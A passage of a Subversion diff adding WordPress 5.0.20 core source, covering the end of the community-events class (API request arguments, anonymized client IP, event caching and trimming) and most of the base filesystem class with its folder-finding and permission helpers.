+	 * Builds an array of args to use in an HTTP request to the w.org Events API.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param string $search   Optional. City search string. Default empty string.
+	 * @param string $timezone Optional. Timezone string. Default empty string.
+	 * @return array The request args.
+	 */
+	protected function get_request_args( $search = '', $timezone = '' ) {
+		$args = array(
+			'number' => 5, // Get more than three in case some get trimmed out.
+			'ip'     => self::get_unsafe_client_ip(),
+		);
+
+		/*
+		 * Include the minimal set of necessary arguments, in order to increase the
+		 * chances of a cache-hit on the API side.
+		 */
+		if ( empty( $search ) && isset( $this->user_location['latitude'], $this->user_location['longitude'] ) ) {
+			$args['latitude']  = $this->user_location['latitude'];
+			$args['longitude'] = $this->user_location['longitude'];
+		} else {
+			$args['locale'] = get_user_locale( $this->user_id );
+
+			if ( $timezone ) {
+				$args['timezone'] = $timezone;
+			}
+
+			if ( $search ) {
+				$args['location'] = $search;
+			}
+		}
+
+		// Wrap the args in an array compatible with the second parameter of `wp_remote_get()`.
+		return array(
+			'body' => $args
+		);
+	}
+
+	/**
+	 * Determines the user's actual IP address and attempts to partially
+	 * anonymize an IP address by converting it to a network ID.
+	 *
+	 * Geolocating the network ID usually returns a similar location as the
+	 * actual IP, but provides some privacy for the user.
+	 *
+	 * $_SERVER['REMOTE_ADDR'] cannot be used in all cases, such as when the user
+	 * is making their request through a proxy, or when the web server is behind
+	 * a proxy. In those cases, $_SERVER['REMOTE_ADDR'] is set to the proxy address rather
+	 * than the user's actual address.
+	 *
+	 * Modified from https://stackoverflow.com/a/2031935/450127, MIT license.
+	 * Modified from https://github.com/geertw/php-ip-anonymizer, MIT license.
+	 *
+	 * SECURITY WARNING: This function is _NOT_ intended to be used in
+	 * circumstances where the authenticity of the IP address matters. This does
+	 * _NOT_ guarantee that the returned address is valid or accurate, and it can
+	 * be easily spoofed.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @return false|string The anonymized address on success; the given address
+	 *                      or false on failure.
+	 */
+	public static function get_unsafe_client_ip() {
+		$client_ip = $netmask = false;
+
+		// In order of preference, with the best ones for this purpose first.
+		$address_headers = array(
+			'HTTP_CLIENT_IP',
+			'HTTP_X_FORWARDED_FOR',
+			'HTTP_X_FORWARDED',
+			'HTTP_X_CLUSTER_CLIENT_IP',
+			'HTTP_FORWARDED_FOR',
+			'HTTP_FORWARDED',
+			'REMOTE_ADDR',
+		);
+
+		foreach ( $address_headers as $header ) {
+			if ( array_key_exists( $header, $_SERVER ) ) {
+				/*
+				 * HTTP_X_FORWARDED_FOR can contain a chain of comma-separated
+				 * addresses. The first one is the original client. It can't be
+				 * trusted for authenticity, but we don't need to for this purpose.
+				 */
+				$address_chain = explode( ',', $_SERVER[ $header ] );
+				$client_ip     = trim( $address_chain[0] );
+
+				break;
+			}
+		}
+
+		if ( ! $client_ip ) {
+			return false;
+		}
+
+		$anon_ip = wp_privacy_anonymize_ip( $client_ip, true );
+
+		if ( '0.0.0.0' === $anon_ip || '::' === $anon_ip ) {
+			return false;
+		}
+
+		return $anon_ip;
+	}
+
+	/**
+	 * Test if two pairs of latitude/longitude coordinates match each other.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param array $a The first pair, with indexes 'latitude' and 'longitude'.
+	 * @param array $b The second pair, with indexes 'latitude' and 'longitude'.
+	 * @return bool True if they match, false if they don't.
+	 */
+	protected function coordinates_match( $a, $b ) {
+		if ( ! isset( $a['latitude'], $a['longitude'], $b['latitude'], $b['longitude'] ) ) {
+			return false;
+		}
+
+		return $a['latitude'] === $b['latitude'] && $a['longitude'] === $b['longitude'];
+	}
+
+	/**
+	 * Generates a transient key based on user location.
+	 *
+	 * This could be reduced to a one-liner in the calling functions, but it's
+	 * intentionally a separate function because it's called from multiple
+	 * functions, and having it abstracted keeps the logic consistent and DRY,
+	 * which is less prone to errors.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param  array $location Should contain 'latitude' and 'longitude' indexes.
+	 * @return bool|string false on failure, or a string on success.
+	 */
+	protected function get_events_transient_key( $location ) {
+		$key = false;
+
+		if ( isset( $location['ip'] ) ) {
+			$key = 'community-events-' . md5( $location['ip'] );
+		} else if ( isset( $location['latitude'], $location['longitude'] ) ) {
+			$key = 'community-events-' . md5( $location['latitude'] . $location['longitude'] );
+		}
+
+		return $key;
+	}
+
+	/**
+	 * Caches an array of events data from the Events API.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param array    $events     Response body from the API request.
+	 * @param int|bool $expiration Optional. Amount of time to cache the events. Defaults to false.
+	 * @return bool true if events were cached; false if not.
+	 */
+	protected function cache_events( $events, $expiration = false ) {
+		$set              = false;
+		$transient_key    = $this->get_events_transient_key( $events['location'] );
+		$cache_expiration = $expiration ? absint( $expiration ) : HOUR_IN_SECONDS * 12;
+
+		if ( $transient_key ) {
+			$set = set_site_transient( $transient_key, $events, $cache_expiration );
+		}
+
+		return $set;
+	}
+
+	/**
+	 * Gets cached events.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @return false|array false on failure; an array containing `location`
+	 *                     and `events` items on success.
+	 */
+	public function get_cached_events() {
+		$cached_response = get_site_transient( $this->get_events_transient_key( $this->user_location ) );
+		$cached_response = $this->trim_events( $cached_response );
+
+		return $this->format_event_data_time( $cached_response );
+	}
+
+	/**
+	 * Adds formatted date and time items for each event in an API response.
+	 *
+	 * This has to be called after the data is pulled from the cache, because
+	 * the cached events are shared by all users. If it was called before storing
+	 * the cache, then all users would see the events in the localized data/time
+	 * of the user who triggered the cache refresh, rather than their own.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param  array $response_body The response which contains the events.
+	 * @return array The response with dates and times formatted.
+	 */
+	protected function format_event_data_time( $response_body ) {
+		if ( isset( $response_body['events'] ) ) {
+			foreach ( $response_body['events'] as $key => $event ) {
+				$timestamp = strtotime( $event['date'] );
+
+				/*
+				 * The `date_format` option is not used because it's important
+				 * in this context to keep the day of the week in the formatted date,
+				 * so that users can tell at a glance if the event is on a day they
+				 * are available, without having to open the link.
+				 */
+				/* translators: Date format for upcoming events on the dashboard. Include the day of the week. See https://secure.php.net/date. */
+				$response_body['events'][ $key ]['formatted_date'] = date_i18n( __( 'l, M j, Y' ), $timestamp );
+				$response_body['events'][ $key ]['formatted_time'] = date_i18n( get_option( 'time_format' ), $timestamp );
+			}
+		}
+
+		return $response_body;
+	}
+
+	/**
+	 * Prepares the event list for presentation.
+	 *
+	 * Discards expired events, and makes WordCamps "sticky." Attendees need more
+	 * advanced notice about WordCamps than they do for meetups, so camps should
+	 * appear in the list sooner. If a WordCamp is coming up, the API will "stick"
+	 * it in the response, even if it wouldn't otherwise appear. When that happens,
+	 * the event will be at the end of the list, and will need to be moved into a
+	 * higher position, so that it doesn't get trimmed off.
+	 *
+	 * @since 4.8.0
+	 * @since 4.9.7 Stick a WordCamp to the final list.
+	 *
+	 * @param  array $response_body The response body which contains the events.
+	 * @return array The response body with events trimmed.
+	 */
+	protected function trim_events( $response_body ) {
+		if ( isset( $response_body['events'] ) ) {
+			$wordcamps         = array();
+			$current_timestamp = current_time( 'timestamp' );
+
+			foreach ( $response_body['events'] as $key => $event ) {
+				/*
+				 * Skip WordCamps, because they might be multi-day events.
+				 * Save a copy so they can be pinned later.
+				 */
+				if ( 'wordcamp' === $event['type'] ) {
+					$wordcamps[] = $event;
+					continue;
+				}
+
+				$event_timestamp = strtotime( $event['date'] );
+
+				if ( $current_timestamp > $event_timestamp && ( $current_timestamp - $event_timestamp ) > DAY_IN_SECONDS ) {
+					unset( $response_body['events'][ $key ] );
+				}
+			}
+
+			$response_body['events'] = array_slice( $response_body['events'], 0, 3 );
+			$trimmed_event_types     = wp_list_pluck( $response_body['events'], 'type' );
+
+			// Make sure the soonest upcoming WordCamps is pinned in the list.
+			if ( ! in_array( 'wordcamp', $trimmed_event_types ) && $wordcamps ) {
+				array_pop( $response_body['events'] );
+				array_push( $response_body['events'], $wordcamps[0] );
+			}
+		}
+
+		return $response_body;
+	}
+
+	/**
+	 * Logs responses to Events API requests.
+	 *
+	 * @since 4.8.0
+	 * @deprecated 4.9.0 Use a plugin instead. See #41217 for an example.
+	 *
+	 * @param string $message A description of what occurred.
+	 * @param array  $details Details that provide more context for the
+	 *                        log entry.
+	 */
+	protected function maybe_log_events_response( $message, $details ) {
+		_deprecated_function( __METHOD__, '4.9.0' );
+
+		if ( ! WP_DEBUG_LOG ) {
+			return;
+		}
+
+		error_log( sprintf(
+			'%s: %s. Details: %s',
+			__METHOD__,
+			trim( $message, '.' ),
+			wp_json_encode( $details )
+		) );
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-filesystem-base.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-filesystem-base.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-filesystem-base.php	(revision 56912)
@@ -0,0 +1,801 @@
+<?php
+/**
+ * Base WordPress Filesystem
+ *
+ * @package WordPress
+ * @subpackage Filesystem
+ */
+
+/**
+ * Base WordPress Filesystem class for which Filesystem implementations extend
+ *
+ * @since 2.5.0
+ */
+class WP_Filesystem_Base {
+	/**
+	 * Whether to display debug data for the connection.
+	 *
+	 * @since 2.5.0
+	 * @var bool
+	 */
+	public $verbose = false;
+
+	/**
+	 * Cached list of local filepaths to mapped remote filepaths.
+	 *
+	 * @since 2.7.0
+	 * @var array
+	 */
+	public $cache = array();
+
+	/**
+	 * The Access method of the current connection, Set automatically.
+	 *
+	 * @since 2.5.0
+	 * @var string
+	 */
+	public $method = '';
+
+	/**
+	 * @var WP_Error
+	 */
+	public $errors = null;
+
+	/**
+	 */
+	public $options = array();
+
+	/**
+	 * Return the path on the remote filesystem of ABSPATH.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @return string The location of the remote path.
+	 */
+	public function abspath() {
+		$folder = $this->find_folder(ABSPATH);
+		// Perhaps the FTP folder is rooted at the WordPress install, Check for wp-includes folder in root, Could have some false positives, but rare.
+		if ( ! $folder && $this->is_dir( '/' . WPINC ) )
+			$folder = '/';
+		return $folder;
+	}
+
+	/**
+	 * Return the path on the remote filesystem of WP_CONTENT_DIR.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @return string The location of the remote path.
+	 */
+	public function wp_content_dir() {
+		return $this->find_folder(WP_CONTENT_DIR);
+	}
+
+	/**
+	 * Return the path on the remote filesystem of WP_PLUGIN_DIR.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @return string The location of the remote path.
+	 */
+	public function wp_plugins_dir() {
+		return $this->find_folder(WP_PLUGIN_DIR);
+	}
+
+	/**
+	 * Return the path on the remote filesystem of the Themes Directory.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $theme The Theme stylesheet or template for the directory.
+	 * @return string The location of the remote path.
+	 */
+	public function wp_themes_dir( $theme = false ) {
+		$theme_root = get_theme_root( $theme );
+
+		// Account for relative theme roots
+		if ( '/themes' == $theme_root || ! is_dir( $theme_root ) )
+			$theme_root = WP_CONTENT_DIR . $theme_root;
+
+		return $this->find_folder( $theme_root );
+	}
+
+	/**
+	 * Return the path on the remote filesystem of WP_LANG_DIR.
+	 *
+	 * @since 3.2.0
+	 *
+	 * @return string The location of the remote path.
+	 */
+	public function wp_lang_dir() {
+		return $this->find_folder(WP_LANG_DIR);
+	}
+
+	/**
+	 * Locate a folder on the remote filesystem.
+	 *
+	 * @since 2.5.0
+	 * @deprecated 2.7.0 use WP_Filesystem::abspath() or WP_Filesystem::wp_*_dir() instead.
+	 * @see WP_Filesystem::abspath()
+	 * @see WP_Filesystem::wp_content_dir()
+	 * @see WP_Filesystem::wp_plugins_dir()
+	 * @see WP_Filesystem::wp_themes_dir()
+	 * @see WP_Filesystem::wp_lang_dir()
+	 *
+	 * @param string $base The folder to start searching from.
+	 * @param bool   $echo True to display debug information.
+	 *                     Default false.
+	 * @return string The location of the remote path.
+	 */
+	public function find_base_dir( $base = '.', $echo = false ) {
+		_deprecated_function(__FUNCTION__, '2.7.0', 'WP_Filesystem::abspath() or WP_Filesystem::wp_*_dir()' );
+		$this->verbose = $echo;
+		return $this->abspath();
+	}
+
+	/**
+	 * Locate a folder on the remote filesystem.
+	 *
+	 * @since 2.5.0
+	 * @deprecated 2.7.0 use WP_Filesystem::abspath() or WP_Filesystem::wp_*_dir() methods instead.
+	 * @see WP_Filesystem::abspath()
+	 * @see WP_Filesystem::wp_content_dir()
+	 * @see WP_Filesystem::wp_plugins_dir()
+	 * @see WP_Filesystem::wp_themes_dir()
+	 * @see WP_Filesystem::wp_lang_dir()
+	 *
+	 * @param string $base The folder to start searching from.
+	 * @param bool   $echo True to display debug information.
+	 * @return string The location of the remote path.
+	 */
+	public function get_base_dir( $base = '.', $echo = false ) {
+		_deprecated_function(__FUNCTION__, '2.7.0', 'WP_Filesystem::abspath() or WP_Filesystem::wp_*_dir()' );
+		$this->verbose = $echo;
+		return $this->abspath();
+	}
+
+	/**
+	 * Locate a folder on the remote filesystem.
+	 *
+	 * Assumes that on Windows systems, Stripping off the Drive
+	 * letter is OK Sanitizes \\ to / in windows filepaths.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $folder the folder to locate.
+	 * @return string|false The location of the remote path, false on failure.
+	 */
+	public function find_folder( $folder ) {
+		if ( isset( $this->cache[ $folder ] ) )
+			return $this->cache[ $folder ];
+
+		if ( stripos($this->method, 'ftp') !== false ) {
+			$constant_overrides = array(
+				'FTP_BASE' => ABSPATH,
+				'FTP_CONTENT_DIR' => WP_CONTENT_DIR,
+				'FTP_PLUGIN_DIR' => WP_PLUGIN_DIR,
+				'FTP_LANG_DIR' => WP_LANG_DIR
+			);
+
+			// Direct matches ( folder = CONSTANT/ )
+			foreach ( $constant_overrides as $constant => $dir ) {
+				if ( ! defined( $constant ) )
+					continue;
+				if ( $folder === $dir )
+					return trailingslashit( constant( $constant ) );
+			}
+
+			// Prefix Matches ( folder = CONSTANT/subdir )
+			foreach ( $constant_overrides as $constant => $dir ) {
+				if ( ! defined( $constant ) )
+					continue;
+				if ( 0 === stripos( $folder, $dir ) ) { // $folder starts with $dir
+					$potential_folder = preg_replace( '#^' . preg_quote( $dir, '#' ) . '/#i', trailingslashit( constant( $constant ) ), $folder );
+					$potential_folder = trailingslashit( $potential_folder );
+
+					if ( $this->is_dir( $potential_folder ) ) {
+						$this->cache[ $folder ] = $potential_folder;
+						return $potential_folder;
+					}
+				}
+			}
+		} elseif ( 'direct' == $this->method ) {
+			$folder = str_replace('\\', '/', $folder); // Windows path sanitisation
+			return trailingslashit($folder);
+		}
+
+		$folder = preg_replace('|^([a-z]{1}):|i', '', $folder); // Strip out windows drive letter if it's there.
+		$folder = str_replace('\\', '/', $folder); // Windows path sanitisation
+
+		if ( isset($this->cache[ $folder ] ) )
+			return $this->cache[ $folder ];
+
+		if ( $this->exists($folder) ) { // Folder exists at that absolute path.
+			$folder = trailingslashit($folder);
+			$this->cache[ $folder ] = $folder;
+			return $folder;
+		}
+		if ( $return = $this->search_for_folder($folder) )
+			$this->cache[ $folder ] = $return;
+		return $return;
+	}
+
+	/**
+	 * Locate a folder on the remote filesystem.
+	 *
+	 * Expects Windows sanitized path.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $folder The folder to locate.
+	 * @param string $base   The folder to start searching from.
+	 * @param bool   $loop   If the function has recursed, Internal use only.
+	 * @return string|false The location of the remote path, false to cease looping.
+	 */
+	public function search_for_folder( $folder, $base = '.', $loop = false ) {
+		if ( empty( $base ) || '.' == $base )
+			$base = trailingslashit($this->cwd());
+
+		$folder = untrailingslashit($folder);
+
+		if ( $this->verbose ) {
+			/* translators: 1: folder to locate, 2: folder to start searching from */
+			printf( "\n" . __( 'Looking for %1$s in %2$s' ) . "<br/>\n", $folder, $base );
+		}
+
+		$folder_parts = explode('/', $folder);
+		$folder_part_keys = array_keys( $folder_parts );
+		$last_index = array_pop( $folder_part_keys );
+		$last_path = $folder_parts[ $last_index ];
+
+		$files = $this->dirlist( $base );
+
+		foreach ( $folder_parts as $index => $key ) {
+			if ( $index == $last_index )
+				continue; // We want this to be caught by the next code block.
+
+			/*
+			 * Working from /home/ to /user/ to /wordpress/ see if that file exists within
+			 * the current folder, If it's found, change into it and follow through looking
+			 * for it. If it cant find WordPress down that route, it'll continue onto the next
+			 * folder level, and see if that matches, and so on. If it reaches the end, and still
+			 * cant find it, it'll return false for the entire function.
+			 */
+			if ( isset($files[ $key ]) ){
+
+				// Let's try that folder:
+				$newdir = trailingslashit(path_join($base, $key));
+				if ( $this->verbose ) {
+					/* translators: %s: directory name */
+					printf( "\n" . __( 'Changing to %s' ) . "<br/>\n", $newdir );
+				}
+
+				// Only search for the remaining path tokens in the directory, not the full path again.
+				$newfolder = implode( '/', array_slice( $folder_parts, $index + 1 ) );
+				if ( $ret = $this->search_for_folder( $newfolder, $newdir, $loop) )
+					return $ret;
+			}
+		}
+
+		// Only check this as a last resort, to prevent locating the incorrect install.
+		// All above procedures will fail quickly if this is the right branch to take.
+		if (isset( $files[ $last_path ] ) ) {
+			if ( $this->verbose ) {
+				/* translators: %s: directory name */
+				printf( "\n" . __( 'Found %s' ) . "<br/>\n",  $base . $last_path );
+			}
+			return trailingslashit($base . $last_path);
+		}
+
+		// Prevent this function from looping again.
+		// No need to proceed if we've just searched in /
+		if ( $loop || '/' == $base )
+			return false;
+
+		// As an extra last resort, Change back to / if the folder wasn't found.
+		// This comes into effect when the CWD is /home/user/ but WP is at /var/www/....
+		return $this->search_for_folder( $folder, '/', true );
+
+	}
+
+	/**
+	 * Return the *nix-style file permissions for a file.
+	 *
+	 * From the PHP documentation page for fileperms().
+	 *
+	 * @link https://secure.php.net/manual/en/function.fileperms.php
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $file String filename.
+	 * @return string The *nix-style representation of permissions.
+	 */
+	public function gethchmod( $file ){
+		$perms = intval( $this->getchmod( $file ), 8 );
+		if (($perms & 0xC000) == 0xC000) // Socket
+			$info = 's';
+		elseif (($perms & 0xA000) == 0xA000) // Symbolic Link
+			$info = 'l';
+		elseif (($perms & 0x8000) == 0x8000) // Regular
+			$info = '-';
+		elseif (($perms & 0x6000) == 0x6000) // Block special
+			$info = 'b';
+		elseif (($perms & 0x4000) == 0x4000) // Directory
+			$info = 'd';
+		elseif (($perms & 0x2000) == 0x2000) // Character special
+			$info = 'c';
+		elseif (($perms & 0x1000) == 0x1000) // FIFO pipe
+			$info = 'p';
+		else // Unknown
+			$info = 'u';
+
+		// Owner
+		$info .= (($perms & 0x0100) ? 'r' : '-');
+		$info .= (($perms & 0x0080) ? 'w' : '-');
+		$info .= (($perms & 0x0040) ?
+					(($perms & 0x0800) ? 's' : 'x' ) :
+					(($perms & 0x0800) ? 'S' : '-'));
+
+		// Group
+		$info .= (($perms & 0x0020) ? 'r' : '-');
+		$info .= (($perms & 0x0010) ? 'w' : '-');
+		$info .= (($perms & 0x0008) ?
+					(($perms & 0x0400) ? 's' : 'x' ) :
+					(($perms & 0x0400) ? 'S' : '-'));
+
+		// World
+		$info .= (($perms & 0x0004) ? 'r' : '-');
+		$info .= (($perms & 0x0002) ? 'w' : '-');
+		$info .= (($perms & 0x0001) ?
+					(($perms & 0x0200) ? 't' : 'x' ) :
+					(($perms & 0x0200) ? 'T' : '-'));
+		return $info;
+	}
+
+	/**
+	 * Gets the permissions of the specified file or filepath in their octal format
+	 *
+	 * @since 2.5.0
+	 * @param string $file
+	 * @return string the last 3 characters of the octal number
+	 */
+	public function getchmod( $file ) {
+		return '777';
+	}
+
+	/**
+	 * Convert *nix-style file permissions to a octal number.
+	 *
+	 * Converts '-rw-r--r--' to 0644
+	 * From "info at rvgate dot nl"'s comment on the PHP documentation for chmod()
+ 	 *
+	 * @link https://secure.php.net/manual/en/function.chmod.php#49614
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $mode string The *nix-style file permission.
+	 * @return int octal representation
+	 */
+	public function getnumchmodfromh( $mode ) {
+		$realmode = '';
+		$legal =  array('', 'w', 'r', 'x', '-');
+		$attarray = preg_split('//', $mode);
+
+		for ( $i = 0, $c = count( $attarray ); $i < $c; $i++ ) {
+		   if ($key = array_search($attarray[$i], $legal)) {
+			   $realmode .= $legal[$key];
+		   }
+		}
+
+		$mode = str_pad($realmode, 10, '-', STR_PAD_LEFT);
+		$trans = array('-'=>'0', 'r'=>'4', 'w'=>'2', 'x'=>'1');
+		$mode = strtr($mode,$trans);
+
+		$newmode = $mode[0];
+		$newmode .= $mode[1] + $mode[2] + $mode[3];
+		$newmode .= $mode[4] + $mode[5] + $mode[6];
+		$newmode .= $mode[7] + $mode[8] + $mode[9];
+		return $newmode;
+	}
+
+	/**
+	 * Determine if the string provided contains binary characters.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $text String to test against.
+	 * @return bool true if string is binary, false otherwise.
+	 */
+	public function is_binary( $text ) {
+		return (bool) preg_match( '|[^\x20-\x7E]|', $text ); // chr(32)..chr(127)
+	}
+
+	/**
+	 * Change the ownership of a file / folder.
+	 *
+	 * Default behavior is to do nothing, override this in your subclass, if desired.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $file      Path to the file.
+	 * @param mixed  $owner     A user name or number.
+	 * @param bool   $recursive Optional. If set True changes file owner recursivly. Defaults to False.
+	 * @return bool Returns true on success or false on failure.
+	 */
+	public function chown( $file, $owner, $recursive = false ) {
+		return false;
+	}
+
+	/**
+	 * Connect filesystem.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @return bool True on success or false on failure (always true for WP_Filesystem_Direct).
+	 */
+	public function connect() {
+		return true;
+	}
+
+	/**
+	 * Read entire file into a string.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @param string $file Name of the file to read.
+	 * @return mixed|bool Returns the read data or false on failure.
+	 */
+	public function get_contents( $file ) {
+		return false;
+	}
+
+	/**
+	 * Read entire file into an array.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @param string $file Path to the file.
+	 * @return array|bool the file contents in an array or false on failure.
+	 */
+	public function get_contents_array( $file ) {
+		return false;
+	}
+
+	/**
+	 * Write a string to a file.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @param string $file     Remote path to the file where to write the data.
+	 * @param string $contents The data to write.
+	 * @param int    $mode     Optional. The file permissions as octal number, usually 0644.
+	 * @return bool False on failure.
+	 */
+	public function put_contents( $file, $contents, $mode = false ) {
+		return false;
+	}
+
+	/**
+	 * Get the current working directory.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @return string|bool The current working directory on success, or false on failure.
+	 */
+	public function cwd() {
+		return false;
+	}
+
+	/**
+	 * Change current directory.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @param string $dir The new current directory.
+	 * @return bool|string
+	 */
+	public function chdir( $dir ) {
+		return false;
+	}
+
+	/**
+	 * Change the file group.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @param string $file      Path to the file.
+	 * @param mixed  $group     A group name or number.
+	 * @param bool   $recursive Optional. If set True changes file group recursively. Defaults to False.
+	 * @return bool|string
+	 */
+	public function chgrp( $file, $group, $recursive = false ) {
+		return false;
+	}
+
+	/**
+	 * Change filesystem permissions.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @param string $file      Path to the file.
+	 * @param int    $mode      Optional. The permissions as octal number, usually 0644 for files, 0755 for dirs.
+	 * @param bool   $recursive Optional. If set True changes file group recursively. Defaults to False.
+	 * @return bool|string
+	 */
+	public function chmod( $file, $mode = false, $recursive = false ) {
+		return false;
+	}
+
+	/**
+	 * Get the file owner.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * 
+	 * @param string $file Path to the file.
+	 * @return string|bool Username of the user or false on error.
+	 */
+	public function owner( $file ) {
+		return false;
+	}
+
+	/**
+	 * Get the file's group.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @param string $file Path to the file.
+	 * @return string|bool The group or false on error.
+	 */
+	public function group( $file ) {
+		return false;
+	}
+
+	/**
+	 * Copy a file.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @param string $source      Path to the source file.
+	 * @param string $destination Path to the destination file.
+	 * @param bool   $overwrite   Optional. Whether to overwrite the destination file if it exists.
+	 *                            Default false.
+	 * @param int    $mode        Optional. The permissions as octal number, usually 0644 for files, 0755 for dirs.
+	 *                            Default false.
+	 * @return bool True if file copied successfully, False otherwise.
+	 */
+	public function copy( $source, $destination, $overwrite = false, $mode = false ) {
+		return false;
+	}
+
+	/**
+	 * Move a file.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @param string $source      Path to the source file.
+	 * @param string $destination Path to the destination file.
+	 * @param bool   $overwrite   Optional. Whether to overwrite the destination file if it exists.
+	 *                            Default false.
+	 * @return bool True if file copied successfully, False otherwise.
+	 */
+	public function move( $source, $destination, $overwrite = false ) {
+		return false;
+	}
+
+	/**
+	 * Delete a file or directory.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @param string $file      Path to the file.
+	 * @param bool   $recursive Optional. If set True changes file group recursively. Defaults to False.
+	 *                          Default false.
+	 * @param bool   $type      Type of resource. 'f' for file, 'd' for directory.
+	 *                          Default false.
+	 * @return bool True if the file or directory was deleted, false on failure.
+	 */
+	public function delete( $file, $recursive = false, $type = false ) {
+		return false;
+	}
+
+	/**
+	 * Check if a file or directory exists.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @param string $file Path to file/directory.
+	 * @return bool Whether $file exists or not.
+	 */
+	public function exists( $file ) {
+		return false;
+	}
+
+	/**
+	 * Check if resource is a file.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @param string $file File path.
+	 * @return bool Whether $file is a file.
+	 */
+	public function is_file( $file ) {
+		return false;
+	}
+
+	/**
+	 * Check if resource is a directory.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @param string $path Directory path.
+	 * @return bool Whether $path is a directory.
+	 */
+	public function is_dir( $path ) {
+		return false;
+	}
+
+	/**
+	 * Check if a file is readable.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @param string $file Path to file.
+	 * @return bool Whether $file is readable.
+	 */
+	public function is_readable( $file ) {
+		return false;
+	}
+
+	/**
+	 * Check if a file or directory is writable.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @param string $file Path to file.
+	 * @return bool Whether $file is writable.
+	 */
+	public function is_writable( $file ) {
+		return false;
+	}
+
+	/**
+	 * Gets the file's last access time.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @param string $file Path to file.
+	 * @return int|bool Unix timestamp representing last access time.
+	 */
+	public function atime( $file ) {
+		return false;
+	}
+
+	/**
+	 * Gets the file modification time.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @param string $file Path to file.
+	 * @return int|bool Unix timestamp representing modification time.
+	 */
+	public function mtime( $file ) {
+		return false;
+	}
+
+	/**
+	 * Gets the file size (in bytes).
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @param string $file Path to file.
+	 * @return int|bool Size of the file in bytes.
+	 */
+	public function size( $file ) {
+		return false;
+	}
+
+	/**
+	 * Set the access and modification times of a file.
+	 *
+	 * Note: If $file doesn't exist, it will be created.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @param string $file  Path to file.
+	 * @param int    $time  Optional. Modified time to set for file.
+	 *                      Default 0.
+	 * @param int    $atime Optional. Access time to set for file.
+	 *                      Default 0.
+	 * @return bool Whether operation was successful or not.
+	 */
+	public function touch( $file, $time = 0, $atime = 0 ) {
+		return false;
+	}
+
+	/**
+	 * Create a directory.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @param string $path  Path for new directory.
+	 * @param mixed  $chmod Optional. The permissions as octal number, (or False to skip chmod)
+	 *                      Default false.
+	 * @param mixed  $chown Optional. A user name or number (or False to skip chown)
+	 *                      Default false.
+	 * @param mixed  $chgrp Optional. A group name or number (or False to skip chgrp).
+	 *                      Default false.
+	 * @return bool False if directory cannot be created, true otherwise.
+	 */
+	public function mkdir( $path, $chmod = false, $chown = false, $chgrp = false ) {
+		return false;
+	}
+
+	/**
+	 * Delete a directory.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @param string $path      Path to directory.
+	 * @param bool   $recursive Optional. Whether to recursively remove files/directories.
+	 *                          Default false.
+	 * @return bool Whether directory is deleted successfully or not.
+	 */
+	public function rmdir( $path, $recursive = false ) {
+		return false;
+	}
+
+	/**
+	 * Get details for files in a directory or a specific file.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @param string $path           Path to directory or file.
+	 * @param bool   $include_hidden Optional. Whether to include details of hidden ("." prefixed) files.
+	 *                               Default true.
+	 * @param bool   $recursive      Optional. Whether to recursively include file details in nested directories.
+	 *                               Default false.
+	 * @return array|bool {
+	 *     Array of files. False if unable to list directory contents.
+	 *
+	 *     @type string $name        Name of the file/directory.
+	 *     @type string $perms       *nix representation of permissions.
+	 *     @type int    $permsn      Octal representation of permissions.
+	 *     @type string $owner       Owner name or ID.
+	 *     @type int    $size        Size of file in bytes.
+	 *     @type int    $lastmodunix Last modified unix timestamp.
+	 *     @type mixed  $lastmod     Last modified month (3 letter) and day (without leading 0).
+	 *     @type int    $time        Last modified time.
+	 *     @type string $type        Type of resource. 'f' for file, 'd' for directory.
+	 *     @type mixed  $files       If a directory and $recursive is true, contains another array of files.
+	 * }
+	 */
+	public function dirlist( $path, $include_hidden = true, $recursive = false ) {
+		return false;
+	}
+
